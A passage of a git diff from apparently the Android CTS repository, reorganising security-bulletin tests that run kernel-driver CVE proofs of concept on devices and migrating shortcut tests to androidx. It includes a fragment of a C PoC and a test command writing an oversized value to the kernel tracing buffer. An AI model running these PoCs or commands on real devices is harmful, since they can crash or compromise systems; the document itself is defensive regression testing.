-            pthread_cond_signal(&cond);
-        trigger_nvmap_create();
-    }
-    return 0;
-}
diff --git a/hostsidetests/api/src/com/android/cts/api/PulledFile.java b/hostsidetests/securitybulletin/securityPatch/includes/common.h
similarity index 62%
copy from hostsidetests/api/src/com/android/cts/api/PulledFile.java
copy to hostsidetests/securitybulletin/securityPatch/includes/common.h
index 4742d52..6800dc9 100644
--- a/hostsidetests/api/src/com/android/cts/api/PulledFile.java
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -1,4 +1,4 @@
-/*
+/**
  * Copyright (C) 2018 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,16 +14,24 @@
  * limitations under the License.
  */
 
-package com.android.cts.api;
+#ifndef COMMON_H
+#define COMMON_H
 
-import java.io.File;
+#include <time.h>
+#define MAX_TEST_DURATION 300
 
-class PulledFile {
-    final File fileInHost;
-    final String pathInDevice;
+// exit status code
+#define EXIT_VULNERABLE 113
 
-    PulledFile(File fileInHost, String pathInDevice) {
-        this.fileInHost = fileInHost;
-        this.pathInDevice = pathInDevice;
-    }
+time_t start_timer(void);
+int timer_active(time_t timer_started);
+
+time_t start_timer(){
+  return time(NULL);
 }
+
+int timer_active(time_t timer_started){
+  return time(NULL) < (timer_started + MAX_TEST_DURATION);
+}
+
+#endif /* COMMON_H */
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index 4fcab24..2601d43 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -26,15 +26,4 @@
     public void testPocCVE_2016_3818() throws Exception {
         AdbUtils.runPoc("CVE-2016-3818", getDevice(), 60);
     }
-
-    /**
-     *  b/27532522
-     */
-    @SecurityTest
-    public void testPocCVE_2016_3809() throws Exception {
-        AdbUtils.runCommandLine("logcat -c", getDevice());
-        AdbUtils.runPoc("CVE-2016-3809", getDevice(), 60);
-        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*CVE-2016-3809 test case failed[\\s\\n\\S]*", logcat);
-    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
similarity index 76%
rename from hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
rename to hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index 5641aee..da8da31 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -19,7 +19,7 @@
 import android.platform.test.annotations.SecurityTest;
 
 @SecurityTest
-public class Poc16_10 extends SecurityTestCase {
+public class Poc16_11 extends SecurityTestCase {
 
     /**
      *  b/30904789
@@ -90,21 +90,4 @@
             AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
         }
     }
-
-    /**
-     *  b/30741779
-     */
-    @SecurityTest
-    public void testPocCVE_2016_3916() throws Exception {
-        AdbUtils.installApk("/cve_2016_3916.apk", getDevice());
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-
-         AdbUtils.runCommandLine("am start -n com.trendmicro.wish_wu.camera2/" +
-                                 "com.trendmicro.wish_wu.camera2.Camera2TestActivity", getDevice());
-        Thread.sleep(10000);
-        String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
-                "[\\s\\n\\S]*>>> /system/bin/" +
-                "mediaserver <<<[\\s\\n\\S]*", logcat);
-    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
deleted file mode 100644
index 8ae30d6..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
+++ /dev/null
@@ -1,147 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_12 extends SecurityTestCase {
-
-    //Criticals
-    /**
-     *  b/31606947
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8424() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvmap")) {
-            AdbUtils.runPoc("CVE-2016-8424", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31797770
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8425() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
-            AdbUtils.runPoc("CVE-2016-8425", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31799206
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8426() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvhost-gpu")) {
-            AdbUtils.runPoc("CVE-2016-8426", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31799885
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8427() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvhost-gpu") ||
-              containsDriver(getDevice(), "/dev/nvhost-dbg-gpu")) {
-            AdbUtils.runPoc("CVE-2016-8427", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31993456
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8428() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvmap")) {
-            AdbUtils.runPoc("CVE-2016-8428", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32160775
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8429() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvmap")) {
-            AdbUtils.runPoc("CVE-2016-8429", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32225180
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8430() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
-            AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
-        }
-    }
-
-   /**
-     *  b/32402179
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8431() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-8431", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32447738
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8432() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-8432", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32125137
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8434() throws Exception {
-        if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-            // This poc is very verbose so we ignore the output to avoid using a lot of memory.
-            AdbUtils.runPocNoOutput("CVE-2016-8434", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31668540
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8460() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvmap")) {
-            String result = AdbUtils.runPoc("CVE-2016-8460", getDevice(), 60);
-            assertTrue(!result.equals("Vulnerable"));
-        }
-    }
-
-    /**
-     *  b/32659848
-     */
-    @SecurityTest
-    public void testPoc32659848() throws Exception {
-        String command =
-            "echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb";
-        AdbUtils.runCommandLine(command, getDevice());
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index 4fd98b7..aba9ed0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -21,13 +21,107 @@
 @SecurityTest
 public class Poc17_01 extends SecurityTestCase {
 
+    //Criticals
     /**
-     *  b/31799863
+     *  b/31797770
      */
     @SecurityTest
-    public void testPocCVE_2016_8482() throws Exception {
+    public void testPocCVE_2016_8425() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
+            AdbUtils.runPoc("CVE-2016-8425", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31799206
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8426() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-gpu")) {
+            AdbUtils.runPoc("CVE-2016-8426", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31799885
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8427() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-gpu") ||
+              containsDriver(getDevice(), "/dev/nvhost-dbg-gpu")) {
+            AdbUtils.runPoc("CVE-2016-8427", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31993456
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8428() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
-            AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
+            AdbUtils.runPoc("CVE-2016-8428", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32160775
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8429() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8429", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32225180
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8430() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
+            AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
+        }
+    }
+
+   /**
+     *  b/32402179
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8431() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-8431", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32447738
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8432() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-8432", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32125137
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8434() throws Exception {
+        if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+            // This poc is very verbose so we ignore the output to avoid using a lot of memory.
+            AdbUtils.runPocNoOutput("CVE-2016-8434", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31668540
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8460() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            String result = AdbUtils.runPoc("CVE-2016-8460", getDevice(), 60);
+            assertTrue(!result.equals("Vulnerable"));
         }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index 44f7d27..fc68707 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -29,4 +29,14 @@
       String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
       assertNotMatches("[\\s\\n\\S]*Bugreports file in wrong path[\\s\\n\\S]*", logcatOut);
   }
+
+    /**
+     *  b/31799863
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8482() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
+        }
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
similarity index 62%
rename from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
rename to hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index 5ed4c22..115fad2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -17,16 +17,18 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import static org.junit.Assert.assertFalse;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SecurityTest
-public class Poc16_08 extends SecurityTestCase {
-  /**
-   *  b/28026365
-   */
-  @SecurityTest
-  public void testPocCVE_2016_2504() throws Exception {
-    if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-        AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
+public class Poc19_03 extends SecurityTestCase {
+    /**
+     * b/115739809
+     */
+    @SecurityTest(minPatchLevel = "2019-03")
+    public void testPocBug_115739809() throws Exception {
+        assertFalse(AdbUtils.runPocCheckExitCode("Bug-115739809", getDevice(), 30));
     }
-  }
 }
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
index 28eb260..e3feb66 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
@@ -29,11 +29,11 @@
     $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher1/AndroidManifest.xml
index d84c7b5..f3398dd 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/AndroidManifest.xml
@@ -31,7 +31,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcut.backup.launcher1"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
index 6c8fb9d..c9850ef 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
@@ -29,11 +29,11 @@
     $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher2/AndroidManifest.xml
index 9297220..08c4817 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/AndroidManifest.xml
@@ -31,7 +31,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcut.backup.launcher2"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
index e42a487..6edadb8e 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
@@ -29,11 +29,11 @@
     $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher3/AndroidManifest.xml
index 8f1c1a7..4a25c0e 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/AndroidManifest.xml
@@ -31,7 +31,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcut.backup.launcher3"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk
index 739e3b4..fedee32 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk
@@ -29,11 +29,11 @@
     $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml
index 1032971..0cd9a6c 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml
@@ -35,7 +35,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcut.backup.launcher4"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk
index fce9eba..297e405 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk
@@ -29,11 +29,11 @@
     $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml
index e7c81b3..09fe890 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml
@@ -35,7 +35,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcut.backup.launcher4"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
index f562579..8bf3edf 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
@@ -29,11 +29,11 @@
     $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher1/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher1/AndroidManifest.xml
index f35fcef..a537077 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher1/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher1/AndroidManifest.xml
@@ -40,7 +40,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcut.backup.publisher1"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
index b46ef4b..e211529 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
@@ -29,11 +29,11 @@
     $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher2/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher2/AndroidManifest.xml
index e4c5720..12b5f5c 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher2/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher2/AndroidManifest.xml
@@ -41,7 +41,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcut.backup.publisher2"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
index a551a396..c8085bc 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
@@ -29,11 +29,11 @@
     $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher3/AndroidManifest.xml
index 9f47f2a..feac2eb 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/AndroidManifest.xml
@@ -31,7 +31,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcut.backup.publisher3"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk
index 1261f7d..f37f7f9 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk
@@ -31,11 +31,11 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml
index c671d95..6734f98 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml
@@ -41,7 +41,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk
index c5dfcaf..177b114 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk
@@ -31,11 +31,11 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml
index e176c81..e73b4a8 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml
@@ -41,7 +41,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk
index bf50d1e..730b497 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk
@@ -31,11 +31,11 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml
index a08611a..88d4f75 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml
@@ -31,7 +31,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk
index 20989bd..033b547 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk
@@ -31,11 +31,11 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml
index e176c81..e73b4a8 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml
@@ -41,7 +41,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
